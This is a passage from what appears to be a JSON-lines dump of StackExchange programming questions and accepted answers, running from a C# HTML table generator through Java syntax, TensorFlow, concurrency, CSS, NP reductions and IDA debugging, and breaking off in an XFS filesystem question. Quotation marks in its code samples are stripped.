nwLine)._Dhtml_DoubleQoutes();                NwTRLoopSB.Append(BaseTemplateTD);            }        }///ENd TR cells generator Section    NwTRLoopSB.Append(</tr></table>);    return NwTRLoopSB.ToString();}.cs helper namespaces and classesThe code blocks below are extracted by relevance to this project as it (the whole file) serves all of my projects as a bunch of helpers.ExtensionsThis one is used to avoid the use of \\ within formatted text:                /// <summary>                /// Replaces a single Quote with Double. used for html Attributes:                /// </summary>                public static string _Dhtml_DoubleQoutes(this string NewTRString)                {                    return NewTRString.Replace(', \\);                }class to list     // using reflection to list / extract all fields of a given class    public  class GetClassFields    {        public enum SelectedClass        {            tables, columns, ColHeaders        }        public List<string> AsListStr(SelectedClass tabls_Cols_StoerdProc, string TableName)        {            var tbls = new HTDB_Tables();            HTDB_Cols Cols = new HTDB_Cols();            var ColHeds = new Htdb_PresentedHebColHeaders();            switch (tabls_Cols_StoerdProc)            {                case SelectedClass.tables:                    return typeof(HTDB_Tables).GetFields()                     .Select(f =>f.GetValue(tbls).ToString()).ToList<string>();                case SelectedClass.columns:                    return typeof(HTDB_Cols).GetNestedTypes()                    .First(t => String.Compare(t.Name, TableName, true) == 0)                    .GetFields()                    .Select(f => f.GetValue(Cols).ToString())                    .ToList<string>();                case SelectedClass.ColHeaders:                    return typeof(Htdb_PresentedHebColHeaders).GetNestedTypes()                        .First(t => String.Compare(t.Name, TableName, true) == 0)                        .GetFields()                        .Select(f => f.GetValue(ColHeds).ToString())                        .ToList<string>();                  default:                    return typeof(HTSPs.GetWorkerNameAndDataForTcReportCPABySnif_Fields).GetNestedTypes()                    .First(t => String.Compare(t.Name, TableName, true) == 0)                    .GetFields()                    .Select(f => f.GetValue(null) as string)                    .ToList();            }        }    }HTML Generator(This is the short version; you could see my other post for a longer version)Another method to produce style-background-color as bgColor of the alternation of rows within the HTML generated table:public class HTMLGenerator{   //i guess i will add whats in cs code behind to this next section of helpers            public class HTMFactory            {                //TablesAlternatingRow                public static string DynamicStyle_Generator                (                    int RowCounter = -1,                    Dictionary<string, string> StyleAttributeDict = null                )                {                    string BaseStyle = , propTerminator = ', BgCol = ;                    StringBuilder StylerSB = new StringBuilder();                    BgCol = ;                    bool bgclaltrnator;                    if (RowCounter >= 0)                    {                        RowCounter++;                        bgclaltrnator = (RowCounter % 2) == 0;                        if (bgclaltrnator)                            BgCol = #70878F;                        else BgCol = #E6E6B8;                    }                    BaseStyle = string.Format(style='background-color:{0};, BgCol);                    ///string.Format({0}:{1};, StlProps.BgColor, val);                    return string.Concat(BaseStyle, StyleAttributeDict, propTerminator);                }    }   // when inside the loop this will supply the correct data source   // that will be the content of the table cells   // for now it is the selector of which column to omitt method that    // i have placed here...    public class dataSource    {        public sealed class List        {            public static bool ExcludeColumns                                       (                                            string ListItem,                                            List<string> OmittedColumns                                       )            {                    bool Ret = false;                        foreach (string col in OmittedColumns)                        {                            Ret = string.Compare(ListItem, col) ==0;                            if (Ret)                                return false;                        }                        return true;            }        }    }}"  , "title": "DataTable 'adapter' to HTML table generator"  , "tags": "c#;performance;html;asp.net"  } 
{  "id": "_softwareengineering.312978"  , "question": "From Java 5 language guide:When you see the colon (:) read it as in.Why not use in in the first place then?This has been bugging me for years.Because it's inconsistent with the rest of the language.For example, in Java there are implements, extends, super for relations between types instead of symbols like in C++, Scala or Ruby.In Java colon used in 5 contexts.Three of which are inherited from C.And other two was endorsed by Joshua Bloch.At least, that was he sais during The closures controversy talk.This comes up when he criticises usage of a colon for mapping as inconsistent with for-each semantics.Which to me seems odd because it's the for-each abused expected patterns.Like list_name/category: elements or laberl/term: meaning.I've snooped around jcp and jsr, but did not found no sign of mailing list.No discussions on this matter found by google.Only newbies confused by the meaning of colon in for.Main arguments against in provided so far:requires new keyword; andcomplicates lexing.Let's look at relevant grammar definitions:statement    :   'for' '(' forControl ')' statement    |   ...    ;forControl    :   enhancedForControl    |   forInit? ';' expression? ';' forUpdate?    ;enhancedForControl    :   variableModifier* type variableDeclaratorId ':' expression    ;Change from : to in don't bring additional complexity or requires new keyword."  , "title": "Why for-each has colon instead of in?"  , "tags": "java"  , "accepted_answer": "Normal parsers as they are generally taught have a lexer stage before the parser touches the input. The lexer (also scanner or tokenizer) chops the input into small tokens that are annotated with a type. This allows the main parser to use tokens as terminal elements rather than having to treat each character as a terminal, which leads to noticeable efficiency gains. In particular, the lexer can also remove all comments and white space. However, a separate tokenizer phase means that keywords cannot also be used as identifiers (unless the language supports stropping which has somewhat fallen out of favour, or prefixes all identifiers with a sigil like $foo).Why? Let's assume we have a simple tokenizer that understands the following tokens:FOR = 'for'LPAREN = '('RPAREN = ')'IN = 'in'IDENT = /\\w+/COLON = ':'SEMICOLON = ';'The tokenizer will always match the longest token, and prefer keywords over identifiers. So interesting will be lexed as IDENT:interesting, but in will be lexed as IN, never as IDENT:interesting. A code snippet likefor(var in expression)will be translated to the token streamFOR LPAREN IDENT:var IN IDENT:expression RPARENSo far, that works. But any variable in would be lexed as the keyword IN rather than a variable, which would break code. The lexer does not keep any state between the tokens, and cannot know that in should usually be a variable except when we are in a for loop. Also, the following code should be legal:for(in in expression)The first in would be an identifier, the second would be a keyword.There are two reactions to this problem:Contextual keywords are confusing, let's reuse keywords instead.Java has many reserved words, some of which have no use except for providing more helpful error messages to programmers switching to Java from C++. Adding new keywords breaks code. Adding contextual keywords is confusing to a reader of the code unless they have good syntax highlighting, and makes tooling difficult to implement because they'll have to use more advanced parsing techniques (see below).When we want to extend the language, the only sane approach is to use symbols that previously were not legal in the language. In particular, these can't be identifiers. With the foreach loop syntax, Java reused the existing : keyword with a new meaning. With lambdas, Java added a -> keyword which could not previously occur in any legal program (--> would still be lexed as '--' '>' which is legal, and -> might have previously been lexed as '-', '>', but that sequence would be rejected by the parser).Contextual keywords simplify languages, let's implement themLexers are indisputably useful. But instead of running a lexer before the parser, we can run them in tandem with the parser. Bottom-up parsers always know the the set of token types that would be acceptable at any given location. The parser can then request the lexer to match any of these types at the current position. In a for-each loop, the parser would be at the position denoted by  in the (simplified) grammar after the variable has been found:for_loop = for_loop_cstyle | for_each_loopfor_loop_cstyle = 'for' '(' declaration  ';' expression ';' expression ')'for_each_loop = 'for' '(' declaration  'in' expression ')'At that position, the legal tokens are SEMICOLON or IN, but not IDENT. A keyword in would be entirely unambiguous.  In this particular example, top-down parsers wouldn't have a problem either since we can rewrite the above grammar tofor_loop = 'for' '(' declaration  for_loop_rest ')'for_loop_rest =   ';' expression ';' expressionfor_loop_rest =  'in' expressionand all the tokens necessary for the decision can be seen without backtracking.Consider usabilityJava has always tended towards semantic and syntactic simplicity. For example, the language doesn't support operator overloading because it would make code far more complicated. So when deciding between in and : for a for-each loop syntax, we have to consider which is less confusing and more apparent to users. The extreme case would probably befor (in in in in())for (in in : in())(Note: Java has separate namespaces for type names, variables, and methods. I think this was a mistake, mostly. This does not mean later language design has to add more mistakes.)Which alternative provides clearer visual separations between the iteration variable and the iterated collection? Which alternative can be recognized more quickly when you glance at the code? I've found that separating symbols are better than a string of words when it comes to these criteria. Other languages have different values. E.g. Python spells out many operators in English so that they can be read naturally and are easy to understand, but those same properties can make it quite difficult to understand a piece of Python at a glance."  } 
{  "id": "_datascience.21955"  , "question": "import tensorflow as tfx = tf.placeholder(tf.float32, [None,4])    # input vector    w1 = tf.Variable(tf.random_normal([4,2]))   # weights between first and second layersb1 = tf.Variable(tf.zeros([2]))             # biases added to hidden layerw2 = tf.Variable(tf.random_normal([2,1]))   # weights between second and third layerb2 = tf.Variable(tf.zeros([1]))             # biases added to third (output) layerdef feedForward(x,w,b):                     # function for forward propagation    Input = tf.add(tf.matmul(x,w), b)    Output = tf.sigmoid(Input)    return OutputOut1 = feedForward(x,w1,b1)                # output of first layerOut2 = feedForward(Out1,w2,b2)             # output of second layerMHat = 50*Out2                             # final prediction is in the range (0,50)M = tf.placeholder(tf.float32, [None,1])   # placeholder for actual (target value of marks)J = tf.reduce_mean(tf.square(MHat - M))    # cost function -- mean square errors                          train_step = tf.train.GradientDescentOptimizer(0.05).minimize(J)     # minimize J using Gradient Descentsess = tf.InteractiveSession()             # create interactive session tf.global_variables_initializer().run()    # initialize all weight and bias variables with specified valuesxs = [[1,3,9,7],          [7,9,8,2],                           # x training data      [2,4,6,5]]Ms = [[47],      [43],                                # M training data      [39]]for _ in range(1000):                      # performing learning process on training data 1000 times    sess.run(train_step, feed_dict = {x:xs, M:Ms})>>> print(sess.run(MHat, feed_dict = {x:[[1,15,9,7]]}))[[50.]]>>> print(sess.run(MHat, feed_dict = {x:[[3,8,1,2]]}))[[50.]]>>> print(sess.run(MHat, feed_dict = {x:[[6,7,10,9]]}))[[50.]]In this code, I am trying to predict the marks M obtained by a student in a test out of 50 given how many hours he/she slept, studied, used electronics and played the day before the test. These 4 features come under the input feature vector x.To solve this regression problem, I am using a deep neural network with an input layer with 4 perceptrons (the input features), a hidden layer with two perceptrons and an output layer with one perceptron. I have used sigmoid as the activation function. But, I am getting the exact same prediction([[50.0]]) for M for all possible input vectors I feed in. Can someone please tell me what is wrong with the code above, and why I get the same result each time?"  , "title": "Tensorflow regression model giving same prediction every time"  , "tags": "neural network;deep learning;regression;tensorflow"  } 
{  "id": "_codereview.110936"  , "question": "The purpose of this code is to let me loop over 100 items (up to MAX_CONCURRENT at a time), performing some action on them, and then return only once all items have been processed: /// <summary>Generic method to perform an action or set of actions/// in parallel on each item in a collection of items, returning/// only when all actions have been completed.</summary>/// <typeparam name=T>The element type</typeparam>/// <param name=elements>A collection of elements, each of which to/// perform the action on.</param>/// <param name=action>The action to perform on each element. The/// action should of course be thread safe.</param>/// <param name=MaxConcurrent>The maximum number of concurrent actions.</param>public static void PerformActionsInParallel<T>(IEnumerable<T> elements, Action<T> action){    // Semaphore limiting the number of parallel requests    Semaphore limit = new Semaphore(MAX_CONCURRENT, MAX_CONCURRENT);    // Count of the number of remaining threads to be completed    int remaining = 0;    // Signal to notify the main thread when a worker is done    AutoResetEvent onComplete = new AutoResetEvent(false);    foreach (T element in elements)    {        Interlocked.Increment(ref remaining);        limit.WaitOne();        new Thread(() =>        {            try            {                action(element);            }            catch (Exception ex)            {                Console.WriteLine(Error performing concurrent action:  + ex);            }            finally            {                Interlocked.Decrement(ref remaining);                limit.Release();                onComplete.Set();            }        }).Start();    }    // Wait for all requests to complete    while (remaining > 0)        onComplete.WaitOne(10); // Slightly better than Thread.Sleep(10)}I include a timeout on the WaitOne() before checking remaining again to protect against the rare case where the last outstanding thread decrements 'remaining' and then signals completion between the main thread checking 'remaining' and waiting for the next completion signal, which would otherwise result in the main thread missing the last signal and locking forever. This is faster than just using Thread.Sleep(10) because it has a chance to return immediately after the last thread completes.Goals:Ensure thread safety - I want to be sure I won't accidentally return too early (before all elements have been acted on), and be sure that I don't become deadlocked or otherwise stuck.Add as little overhead as possible - minimizing amount of time that fewer than MAX_CONCURRENT threads are executing action, and returning as soon as possible after the final action has been performed."  , "title": "Parallel foreach with configurable level of concurrency"  , "tags": "c#;multithreading;concurrency;locking"  } 
{  "id": "_webapps.4398"  , "question": "If I am looking for a particular C# language construct or how to use a keyword in JavaScript, I would like to search only in code, not in blog paragraphs about code. I thought I could do this at code.google.com but there if I type in e.g.protected internalI get discussions about that keyword and have to look through the results to find actual code.What are some web app search machines which allow me to search through large repositories of code only?"  , "title": "Is there a web app allow me to search through large repositories of code?"  , "tags": "webapp rec"  } 
{  "id": "_softwareengineering.213343"  , "question": "Is it bad coding practice/design to make a class which will only be instantiated once?I have some variables and functions that can be grouped together under a class to look good (for a lack of a better description) since they are somewhat related, but they can just be global variables and global functions.(Btw, I am using JavaScript, AngularJS, Express, MongoDB.)"  , "title": "Is it a bad idea to create a class which will only have one instance?"  , "tags": "design;design patterns"  , "accepted_answer": "A single instance for a class makes sense if the object represents a single resource, like a ethernet connexion or the operating system task manager for instance.Functions are put in a class only if they act on the variables of instances of that class, otherwise the maintainer will be confused about the intention of that class.Usually, a good reason exists why your app has global variables. Try to find the common purpose of them and design a class around this purpose. It will not only make the design clear, but your mind as well."  } 
{  "id": "_softwareengineering.299339"  , "question": "What I haveThis is a prototype. I have a pool of 100 clients connected to the server via websockets reporting things and awaiting for commands. The server polls the commands database table of type MEMORY in a loop using a query with WHERE client_id=?. I can insert a combination of client_id+command to that table, and once I do that, the corresponding loop will match and SELECT it and pass it back to the client. What's the problemThe approach sounds like it would work, but as far as I understand I'm talking about n simultaneous database connections and queries in an endless loop (n being the number of clients), which doesn't sound effective. It'd be much better to do one query in one loop and then somehow check the client_id, if any, and distribute the results to the corresponding clients.This reminds me of the approach where you're selecting articles first and then for () {} the resultset and do separate queries to get the details foe each of the items, which results in n+1 queries being made. The solution to that is doing a big query with JOINs and also preloading the other data that doesn't fit into the main JOINed query. There should be the similarly more effective way to do the database polling too.UPDATE: I found this answer in the related section, and it says pretty much the same thing: Hammering your database isn't really a good idea. While I'm pretty sure you've realized this, others might not have. I remember a friend of mine tried to use a php script and a Javascript AJAX function in a loop for a semi-real time game. He very quickly realized that performance degraded as more people joined, simply because he was executing a ton of queries per second which hammered the database.So polling the database for each client sounds as unscalable and ineffective as building an AJAX chat application.What I'm asking forI guess that every possible programming approach must have been named and covered by now, so what is this one called? What is the common advice/approach here?"  , "title": "How do I balance 100 clients checking the same database table in a loop?"  , "tags": "database;node.js;sockets;websockets;polling"  } 
{  "id": "_codereview.28429"  , "question": "I want to verify that I'm correctly handling risk of Overflowing fixed-length string buffers.  I'm also aware that I'm using C-style strings, which falls short of full C++ code.Main/*PURPOSE:attempt to implement, without using given/known-good code, various concepts   of c++.one exception:code in header fileToArray/set_cArrayTemp()*///MOVED TO TOP - ELSE MY HEADERS FAIL//boilerplate - won't have to use: std::using namespace std;//needed to use cout/cin#include <iostream>//for using system calls -//warning: (www.cplusplus.com/forum/articles/11153/)#include <cstdlib>//to use strlen#include <cstring>//c++ headers (e.g. iostream) don't use .h extension so i am not either//provides indentation and v spacing for logging#include header/logFormatter//reads a file to a char array#include header/fileToArray//dialog gets filename from user#include header/fileDialog//this is the (p)array that should hold all the text from the filechar *cArray;//the name of the file to readchar *fileName;void set_fileName(){    cout << vspace << col1 << begin set_fileName();    char *temp = getFileName();    cout << col2 << tmp:  << temp;    fileName = new char[strlen(temp)];    strcpy(fileName,temp);    delete[] temp;    cout << col2 << fileName is set:  << fileName;    cout << col1 << end set_fileName();}void set_cArray(){    cout << vspace << col1 << begin set_cArray();    char *temp = fileToArray(fileName);    if(temp){    cout << col2 << tmp:  << temp;    /*FROM MAN STRCPY:        If  the  destination  string of a strcpy() is not large enough,         then anything might happen.   Overflowing  fixed-length  string         buffers  is  a  favorite  cracker technique for taking complete         control of the machine.    */    //so, this guards against overflow, yes?    cArray = new char[strlen(temp)];    strcpy(cArray,temp);    delete[] temp;    cout << col2 << cArray is set:  << cArray;    cout << col1 << end set_cArray();    return;    }    cout << col2 << fail - did not set cArray;    cout << col1 << end set_cArray();}//expect memory leaks = 0void cleanup(){    cout << vspace << col1 << begin cleanup();    if(cArray){    delete[] cArray;    cout << col2 << cArray deleted;    }    if(fileName){    delete[] fileName;    cout << col2 << fileName deleted;    }    cout << col1 << end cleanup();}void closingMessage(){    cout << vspace << col2 << APPLICATION COMPLETE;}int main(){    system(clear;);/*yes, i know (www.cplusplus.com/forum/articles/11153/)...                  ,but it provides focus for the moment and it is simple. */    //col0    cout << begin main();    set_fileName();    set_cArray();    cleanup();    closingMessage();    cout << \\nend main();    return 0;}//TODO - //1. use a doWhile so that user can run once and read many files without//app exit.////2. find way to provide init (not null/safe sate) of pointersheader (fileToArray):    //reads a file to a char array//for using files#include <fstream>// user inputs a file [path]namechar *filenameTemp;//this is the (p)array that should hold all the text from the filechar *cArrayTemp;void set_filenameTemp(char *fileName_param){    cout << vspace << col3 << begin set_filenameTemp();    filenameTemp = new char[strlen(fileName_param)];    strcpy(filenameTemp,fileName_param);    cout << col4 << file name assigned:  << filenameTemp;    cout << col3 << end set_filenameTemp();}void set_cArrayTemp(){    cout << vspace << col3 << begin set_cArrayTemp();    ifstream file(filenameTemp);    if(file.is_open()){    /*---------------------------------------------      source: www.cplusplus.com/doc/tutorials/files/      modified a bit*/    long begin,end,fileSize;    begin = file.tellg();    file.seekg(0,ios::end);    end = file.tellg();    fileSize = (end-begin-1);/* -1 because testing shows fileSize is always                                one more than expected based on known lenght                                of string in file.*/    /*---------------------------------------------*/    //cout << col4 << bytes in file (fileSize=):  << fileSize;    cArrayTemp = new char[fileSize];    file.seekg(0,ios::beg);    file.read(cArrayTemp,fileSize);    file.close();    cout << col3 << end set_cArrayTemp();    return;    }    cout << col4 << fail - file not open;    cout << col3 << end set_cArrayTemp();}//caller is responsible for memory//may return nullchar *fileToArray(char *fileName_param){    cout << vspace << col2 << begin fileToArray();    if(fileName_param){    cout << col3 << file name received:  << fileName_param;    set_filenameTemp(fileName_param);    set_cArrayTemp();    delete[] filenameTemp;    cout << col2 << end fileToArray();    return cArrayTemp;    }    cout << col3 << received NULL fileName_param;    cout << col2 << end fileToArray();    return cArrayTemp;}header (fileDialog):    //dialog gets filename from user// user inputs a file [path]name//number of chars to get from user inputstatic const int size = 20;//20 will do for now/*FROM MAN STRCPY:    If  the  destination  string of a strcpy() is not large enough,     then anything might happen.   Overflowing  fixed-length  string     buffers  is  a  favorite  cracker technique for taking complete     control of the machine.*///so, this guards against overflow, yes?//that is, by using getline, rather than cin >> var,//size of array is controlled.//caller is responsible for memorychar *getFileName(){    cout << vspace << col2 << begin getFileName();    char* input = new char[size];    cout << col2 << enter filename: ;    cin.getline(input,size);    cout << col2 << end getFileName();    return input;}//NOTE:// currently, this hardly justifies a header file - i expect to do more later.// may eventually use this for all userdialog and rename to userDialogheader (logFormatter):    //STRICTLY FOR LOGGING//  spares me from managing chains of \\n and \\t//this allows me to use indentation to show progress/flow// making this a psuedo-debugger////left-most column - col0 is imaginary/conceptual//char col0 = ;static const char col1[] = \\n    ;//4 spacesstatic const char col2[] = \\n        ;//8 spacesstatic const char col3[] = \\n            ;// etc.static const char col4[] = \\n                ;static const char vspace[] = \\n\\n;//NOTE: changed from using \\t since default is 8 spaces"  , "title": "Manage risk of Overflowing fixed-length string buffers"  , "tags": "c++;c;strings"  , "accepted_answer": "It is very apparent that you are new. That is fine; we were all new once. I'll try to adjust my feedback accordingly. Let me know if you are not familiar with some of the terminology, and I'll provide an explanation or definition.Overflow safeguardsFirst of all, I'll discuss what seems to be the issue you are most concerned with: buffer overflows. I'd like to state that at this level, you should not really care about that (yet), at least not from a security standpoint. You should focus on learning the language and programming in general first.Your code is following the general correct idea: Make sure buffers are large enough by dynamically allocating memory, and limiting the size of input strings when you are not. Note that std::string does all of this for you by growing as needed.In modern C++ code, you would normally avoid allocating buffers the way you do, because memory management quickly becomes hard as a program grows. In C++, the RAII pattern is essential. It boils down to allocating resources in the constructor of an object (a class instance), and freeing them automatically in the destructor when the object goes out of scope. This is what std::string does for you, as well as growing as needed if you add text to the string.High-level issues1. I strongly recommend you to reduce the commenting level.I used to teach programming at the local university, and I saw that over-commenting technique a lot. My experience is that it not a good idea. It works as a crutch, allowing you to read your comments rather than your code. However, you already know how to read text; you need to learn how to read code. Stick to regular commenting levels. If you must have notes, keep them in a separate document. You want to make it as inconvenient as possible for you to look at them, forcing you to read the code itself when possible.2. You are not writing C++.You are writing C code, with C++ library calls. Write your own String class instead of using raw arrays in the code. Take advantage of all the things C++ has to offer. (This normally includes std::string, but writing your own String class for practice is a nice exercise.)3. Your headers should not contain function definitions.In C++, there is something called the one definition rule, which states that any definition should occur at most once in a program. (There are some exceptions to this, but you don't have to think about that yet.) Headers are meant to be included in several files, so they can only have declarations in them. For example:In fileDialog.hpp:char *getFileName();In fileDialog.cpp:char *getFileName(){    cout << vspace << col2 << begin getFileName();    char* input = new char[size];    cout << col2 << enter filename: ;    cin.getline(input,size);    cout << col2 << end getFileName();    return input;}The former is a declaration, the latter a definition. While we're on the subject of headers: It's normal for user-defined headers to have a .h, .hpp or .hxx suffix. I personally prefer .hpp to separate them from C headers.4. Avoid using global variables.Global variables are bad, because they have a very large scope and can be changed from anywhere, at any time, sometimes without you realizing. Either implement a class design and put the variables into class scope, or pass them around using function arguments. Variables that will never change (often called constants :-) ) can be left in the global scope, but should be declared const.5. Learn the basics of a debugger.Basic use of a debugger is very simple, and it allows you to remove a lot of the cout calls that clutter the code. Learn to set breakpoints and step through your code; that's all you need for now. As a beginner, I recommend using a visual debugger and not just raw gdb. (You can use a gdb frontend, though.)6. Separate output from computations.Functions that do something should generally not perform IO. One of the key reasons for that is reusability. You want to write code that you can reuse later. While it's not very likely that you will reuse these functions later, you should train as you fight and follow good practice whenever possible. Later users of your functions (i.e. you at a later time) may not want that output, and the way to solve that is to decouple IO from computations.Lower-level issues7. It's safe to delete a null-pointer.Instead of writingif(cArray){    delete[] cArray;Writedelete [] cArray;cArray = nullptr;deleteing a null-pointer has zero effect, and is therefore harmless, so there's no point in checking against null. What you should do, however, is to set your pointer to null after deleting it, ensuring that nothing bad will happen if it is deleted again. In C++11, the null pointer is called nullptr. If for some reason you are not using C++11 (as a C++ learner in 2013, you should be), use 0 (or NULL) instead.8. Consider inverting conditions to reduce nesting.Instead of this code (superfluous comments and couts removed, whitespace inserted to increase readability):if (temp) {    cArray = new char[strlen(temp)];    strcpy(cArray,temp);    delete[] temp;    return;}// Handle temp == nullptr ...Consider writing this:if (!temp) {    // Handle temp == nullptr ...}cArray = new char[strlen(temp)];strcpy(cArray,temp);delete[] temp;There is a lot more to comment on, but these are the most pressing issues for now, and should be more than enough to get you started. I encourage you to implement as many of these changes as you can (except maybe refactoring to classes), and then post your updated code as a new question for further review.Some of the things that still remain to be pointed out are:Best practicesDesign issues -- what I would do differently, and whyIdentifier namingException safety and memory leaksFile IO(I am listing these so you can think about them yourself before posting another review.)"  } 
{  "id": "_ai.3850"  , "question": "Is it possible to feed a neural network, the output from a random number generator and expect it learn the hashing/generator function. So that it can predict what will be the next generated number? Does something like this already exist? If research is already done on this or something related to (predict pseudo random numbers) can anyone point me to the right resources. Any additional comments or advice would also be helpful.Currently I am looking at this library and its related links.https://github.com/Vict0rSch/deep_learning/tree/master/keras/recurrent"  , "title": "Using Machine/Deep learning for guessing Pseudo Random generator"  , "tags": "deep learning;unsupervised learning;prediction;lstm"  } 
{  "id": "_softwareengineering.316538"  , "question": "I sort of understand unobtrusive javascript. Even in my CSS now I hardly ever use classes or id's because I like clean, easy to read, uncluttered html files. For example, why use this:<body id=anchor ontouchstart=>  <nav id=nav>    <div id=design class=option>      <p class=vCenter>design</p>    </div>    <div id=function class=option>      <p class=vCenter>function</p>    </div>    <div id=rule></div>    <div id=advanced class=option>      <p class=vCenter>advanced</p>    </div>  </nav></body>When I can use this:<body>  <nav>    <div>      <p>design</p>    </div>    <div>      <p>function</p>    </div>      <div></div>    <div>      <p>advanced</p>    </div>  </nav></body>And then use the very powerful CSS3 selectors to access all of my elements. Or I could use JavaScript to give these elements classes and ids. Am I too obsessed with clean code? Or is this a more future proof, cleaner way of developing?"  , "title": "Are there any reasons not to ever use classes or ids anymore?"  , "tags": "javascript;html;css"  , "accepted_answer": "This seems like a very bad idea to me. defining css rules for classes and adding those classes to the html is a great way to make your css reusable. The way you're suggesting, with a complex selectors, sounds like a recipe for mangled stylesheets. Sure, your html is clean as a whistle, but now the css is a pain in the butt to maintain. Consider:.centre-box {    /* your rules */}Vsbody div > div:nth-of-type(3) > div {    /* your rules */}Then next week you you add a div above the box you want to be centred, and it's broken. To fix it, you have to find the tangly css rule that targeted your centre-box before, and change it to be something new. And all of this hassle so that your html looks cleaner? More up front time, higher maintenance cost, no extenuating circumstance that makes it necessary. End of story.AddendumWhy do complicated css selectors even exist?Sometimes you want to style more than just one element. Consider this example from bootstrap, a very popular css framework. (Note: It's written in less, which compiles to css. It supports nesting, so all you need to know when reading the example is that foo { bar { /* rule */ } } in less is foo bar { /* rule */ } in css.)Example: navbar source uses the > selector (direct child selector) to style direct children of the .navbar-brand element. But in this case, you use a class with a meaningful name to relate the css rule to a part of the DOM, and you use the fancy selectors to style the child elements of that class. What about doing it in JavaScript?This seems like a non-solution for me too... to convert from using classes and ids and your old stylesheet to doing it with JavaScript, you'll keep your css the same, simplify your html, but add an entirely new JavaScript file which must either (1) use complex selectors with jQuery, so it's as much of a rat's nest as the crazy selector stylesheet option, or (2) use JavaScript without jQuery to traverse the DOM and attache elements as needed. (1) is just as bad as putting it in css, and (2) is worse than (1) in my opinion because you'll basically have to duplicate your DOM structure in your JavaScript file (just in a different format, but same info), so you still have a DOM with ids and classes, it's just written in JavaScript. That's a lot more complexity. So what is unobtrusive JavaScript?I won't give a full treatment of it here because there's lots on Google if you're looking for details. But the key point as it relates to this is that unobtrusive JavaScript is that you don't want your JavaScript to intrude on your html. This relies on using ids and classes to identify which elements to attache JavaScript behaviour to. Unobtrusive JavaScript says: use ids and classes to attach events to elements instead of inlining the JavaScript events. In a nutshellCss classes with meaningful names are the current best way to associate a set of css rules with a portion of the html that you want to modify. This is the current convention, and the alternatives that you're suggesting add complexity and reduce maintainability. "  } 
{  "id": "_cs.35311"  , "question": "I cannot comprehend how you can prove hardness between two NP complete problems.For example, let X be a NP hard problem, I want to prove Y is also NP hard.I can do this by reducing X to Y, if Y is as difficult as X then it is NP hard, otherwise it is not.But how is this done exactly? Do we restate the problem?When I looked online it was something about reducing 3 SAT problem to Clique problem, but I don't even know what these problem are.Is there a trivial example showing how this is done? Thanks!"  , "title": "Can someone provide a trivial example to the reduction procedure used to prove hardness?"  , "tags": "complexity theory;reductions;np hard"  , "accepted_answer": "Let $\\Sigma$ and $\\Gamma$ be two finite alphabets and $L_A$ and $L_B$ be two languages over $\\Sigma$ and $\\Gamma$, respectively. A polynomial reduction is a function $f$ from $\\Sigma^{\\star}$ to $\\Gamma^{\\star}$, which is computable in polynomial time, such that for all words $x \\in \\Sigma^{\\star}$ it is true that\\begin{align}  x \\in L_A \\iff f(x) \\in L_B.\\end{align}The function $f$ maps words from one language to words from another language. When speaking of problems, we mean the associated decision problems. Decision problem $A$: Given an word $x \\in \\Sigma^{\\star}$, is it true that $x \\in L_A$ (analogous for $B$). Such a word $x \\in \\Sigma^{\\star}$ is also called an instance of the decision problem $A$. One easy reduction would be the reduction $\\mathrm{CLIQUE}$ to $\\mathrm{IS}$ (independent set). The languages are defined as follows:\\begin{align}  CLIQUE = \\{ (G, k) \\mid \\text{the graph $G$ contains a complete subgraph with $k$ vertices} \\} \\\\  IS = \\{ (G, k) \\mid \\text{the graph $G$ contains $k$ vertices, that have no edges between each other} \\}\\end{align}The complete subgraph in the first definition is called a k-clique and the set of vertices in the second definition is called an independent set.As you already stated in your question, $\\mathrm{3SAT}$ can be reduced to $\\mathrm{CLIQUE}$, thus $\\mathrm{CLIQUE}$ is NP-hard. For proving that $\\mathrm{IS}$ is NP-hard, we reduce $\\mathrm{CLIQUE}$ to $\\mathrm{IS}$: We map each element $(G, k)$ to $(G', k)$, where $G'$ is the complement graph of $G$ (that means two vertices are connected in $G'$ if and only if they are not connected in $G$). We can compute $G'$ in $\\mathcal{O}(|V(G)|^2)$ many steps. If we find a clique $H$ in $G$, all nodes of $H$ are connect with each other in $G$. Thus there is no edge between those nodes in the complement graph $G'$, and therefore the nodes of $H$ are an independent set in $G'$. If we find an independent set $U \\subseteq V(G')$ with $k$ elements in $G'$, we know that there is no edge between any of the vertices in $U$ in $G'$. Thus there is an edge between any two vertices of $U$ in $G$, and therefore $G$ contains a k-clique."  } 
{  "id": "_codereview.127286"  , "question": "I began studying C# 5.0 a few days ago and am trying to avoid duplicated code for validation of input values.class transcript{  //Use lamda expression and Func for validation logic  Func<byte, byte> validate = (grade) =>  {    if (grade > 100)      throw new ArgumentOutOfRangeException(grade can`t be more than 100);    else      return grade;  };  public string name { get; set; }  public byte kor  {    get { return kor; }    set { kor = validate(value); }  }  public byte eng  {    get { return this.eng; }    set { eng = validate(value); }  }}"  , "title": "Validating input values in C#"  , "tags": "c#;validation;lambda"  } 
{  "id": "_reverseengineering.11868"  , "question": "I'm trying to learn how to use the IDA pro debugger (having used Visual Studio's C++ debugger for years) and I'm struggling to find how to switch the code/asm view back to the current instruction that debugger broke on?Similar to the Show next statement button in Visual Studio:PS. Here's my situation. Say, I broke on some instruction and then using IDA's graph view navigated away from that instruction. How do I go back?"  , "title": "What is the command to go to current statement in IDA debugger?"  , "tags": "ida;windows;debuggers"  , "accepted_answer": "You can navigate back to the previous position simply by pressing ESC. If you want to back to the current IP address, just press the right mouse button a select Jump to IP.Alternatively you can press G and set EIP as address."  } 
{  "id": "_unix.351965"  , "question": "I have 2 XFS filesystems where space seems to disappear mysteriously.The system (Debian) was installed many years ago (12 years ago, I think). The 2 XFS filesystems were created at that time. Since then, the system has been updated, both software and hardware, and both filesystems have been grown a few times. Its now running 32-bit up-to-date Debian Jessie, with a 64-bit 4.9.2-2~bpo8+1 linux kernel from the backports archive.Now, within days, I see that the used space on those filesystems grows, much more than it should because of the files. I have checked with lsof +L1 that its not related to files that would have been deleted but kept open by some processes. I can reclaim the lost space by unmounting the filesystems and running xfs_repair.Here is a transcript that shows it:~# df -h /homeFilesystem               Size  Used Avail Use% Mounted on/dev/mapper/system-home  2.0G  1.7G  361M  83% /home~# du -hsx /home1.5G    /home~# xfs_estimate /home/home will take about 1491.8 megabytes~# umount /home~# xfs_repair /dev/system/home Phase 1 - find and verify superblock...Phase 2 - using internal log        - zero log...        - scan filesystem freespace and inode maps...sb_fdblocks 92272, counted 141424        - found root inode chunkPhase 3 - for each AG...        - scan and clear agi unlinked lists...        - process known inodes and perform inode discovery...        - agno = 0        - agno = 1        - agno = 2        - agno = 3        - agno = 4        - agno = 5        - agno = 6        - agno = 7        - process newly discovered 